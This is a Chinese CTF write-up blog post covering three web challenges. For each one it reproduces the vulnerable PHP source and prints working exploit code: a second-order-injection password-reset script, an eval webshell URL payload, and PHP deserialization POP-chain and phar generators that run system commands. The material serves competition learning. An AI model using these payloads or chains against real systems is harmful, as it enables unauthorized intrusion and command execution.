[湖湘杯 2021 final]Penetratable

考点:二次注入   目录穿越   suid提权

进入页面发现可以注册用户,先随便注册一个

发现可以更改密码

尝试二次注入

注册一个admin"#的用户

更改密码

重新登入

可以用admin身份了,但是只能查看用户信息

查看static/js/req.js

这很可能就是修改admin和root密码的发包形式

发现url是/?c=admin&m=updatePass

于是可以根据这个发包对里面的data改写成root的,这要登录在admin下进行修改,因为root没有权限哪只能是admin有

#网上找到
import base64
from hashlib import md5
import requests
url1="http://node4.anna.nssctf.cn:28076/?c=app&m=login"
name=base64.b64encode('admin'.encode('utf-8')).decode()
password = md5(b'123').hexdigest()
pass2=md5(b'root').hexdigest()
url2="http://node4.anna.nssctf.cn:28076?c=admin&m=updatePass"
name2=base64.b64encode('root'.encode('utf-8')).decode()
sess=requests.session()
res1=sess.post(url=url1,data={"name":name,"pass":password});
print(res1.text)
res2=sess.post(url=url2,data={"name":name2,
                              "newPass":pass2,
                              "oldPass":password,
                              "saying":"TIz"})
print(res2.text)

更改root密码为root即可登入

发现

应该是文件下载漏洞,下载时抓包

要目录穿越

dirseach扫描有phpinfo.php

md5解码1q2w3e

发现eval有命令执行机会

构造:phpinfo.php?pass_31d5df001717=1q2w3e&cc=eval($_POST[1]);

蚁剑连接发现无权限,提权

[SWPUCTF 2022 新生赛]Power!

右键查看源码发现信息

<?php
    class FileViewer{
        public $black_list = "flag";
        public $local = "http://127.0.0.1/";
        public $path;
        public function __call($f,$a){
            $this->loadfile();
        }
        public function loadfile(){
            if(!is_array($this->path)){
                if(preg_match("/".$this->black_list."/i",$this->path)){
                    $file = $this->curl($this->local."cheems.jpg");
                }else{
                    $file = $this->curl($this->local.$this->path);
                }
            }else{
                $file = $this->curl($this->local."cheems.jpg");
            }
            echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
        }
        public function curl($path){
            $url = $path;
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_HEADER, 0);
            $response = curl_exec($curl);
            curl_close($curl);
            return $response;
        }
        public function __wakeup(){
            $this->local = "http://127.0.0.1/";
        }
    }
    class Backdoor{
        public $a;
        public $b;
        public $superhacker = "hacker.jpg";
        public function goodman($i,$j){
            $i->$j = $this->superhacker;
        }
        public function __destruct(){
            $this->goodman($this->a,$this->b);
            $this->a->c();
        }
    }
    if(isset($_GET['source'])){
        highlight_file(__FILE__);
    }else{
        if(isset($_GET['image_path'])){
            $path = $_GET['image_path'];    //flag in /flag.php
            if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
                echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
            }else{
                echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
            }
            
        }else if(isset($_GET['path_info'])){
            $path_info = $_GET['path_info'];
            $FV = unserialize(base64_decode($path_info));
            $FV->loadfile();
        }else{
            $path = "vergil.jpg";
            echo '<h2>POWER!!</h2>
            <img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
        }
    } 

链子:FileViewer -> Backdoor::__destruct() -> FileViewer::__call() -> FileViewer::loadfile() -> FileViewer::curl()

在 unserialize 之后会调用 $FV->loadfile();但$FV 不是 FileViewer 类的实例则会抛出异常, 导致 Backdoor 类的 __destruct 不会成功执行

解决方法就是再实例化一个 FileViewer 对象 将 Backdoor 塞进这个对象的某个属性里 (php 可以反序列化出不存在的属性)

<?php
class FileViewer{
    public $local = "http://127.0.0.1:65500/";
    public $path = '';
}
    class Backdoor{
    public $a;
    public $b;
    public $superhacker;
}
 
$y = new FileViewer();
$x = new Backdoor();
$x->a = $y;
$x->b = 'local';
$x->superhacker = 'http://127.0.0.1:65500/';
$z = new FileViewer();
$z->test = $x;
echo base64_encode(serialize($z));

[SWPUCTF 2021 新生赛]babyunser

index.php

<html>
<title>aa的文件管理器</title>
<body>
<h1>aa的文件管理器</h1>
<a href="upload.php">上传文件</a>
<br>
<br>
<a href="read.php">查看文件</a>
</body>
</html>

read.php


<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){
    die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>

class.php

<?php
class aa{
    public $name;

    public function __construct(){
        $this->name='aa';
    }

    public function __destruct(){
        $this->name=strtolower($this->name);
    }
}

class ff{
    private $content;
    public $func;

    public function __construct(){
        $this->content="\<?php @eval(\$_POST[1]);?>";
    }

    public function __get($key){
        $this->$key->{$this->func}($_POST['cmd']);
    }
}

class zz{
    public $filename;
    public $content='surprise';

    public function __construct($filename){
        $this->filename=$filename;
    }

    public function filter(){
        if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
            die('这不合理');
        }
    }

    public function write($var){
        $filename=$this->filename;
        $lt=$this->filename->$var;
        //此功能废弃,不想写了
    }

    public function getFile(){
        $this->filter();
        $contents=file_get_contents($this->filename);
        if(!empty($contents)){
            return $contents;
        }else{
            die("404 not found");
        }
    }

    public function __toString(){
        $this->{$_POST['method']}($_POST['var']);
        return $this->content;
    }
}

class xx{
    public $name;
    public $arg;

    public function __construct(){
        $this->name='eval';
        $this->arg='phpinfo();';
    }

    public function __call($name,$arg){
        $name($arg[0]);
    }
}

审代码可知要靠_call()方法命令执行

链子:aa::_destruct->zz::_tostring->mothod=write&var=content->zz::write()->ff::_get->func=system->xx::_call

可能有点乱

是这样的:ff里面有 $this->$key->{$this->func}($_POST['cmd']);

但是$key是content而content里面又没有system方法所以会触发_call

在call里面命令执行

<?php
class aa{
    public $name;
}
class ff{
    private $content;
    public $func="system";//命令执行
    public function __construct(){
        $this->content=new xx();//触发_call
    }
}
class zz{
    public $filename;
    public $content;
}
class xx{
    public $name;
    public $arg;
}
$a=new aa();
$a->name=new zz();//触发——tostring
$a->name->filename=new ff();//触发_get

$phar = new phar('exp.phar');
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");
$phar -> setMetadata($a); 
$phar -> addFromString("test.txt","test");
$phar -> stopBuffering();
?>
//POST:method=write&var=content&cmd=cat /flag
file=phar://upload/你的文件.txt&method=write&var=content&cmd=cat /flag

 

  • 10
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值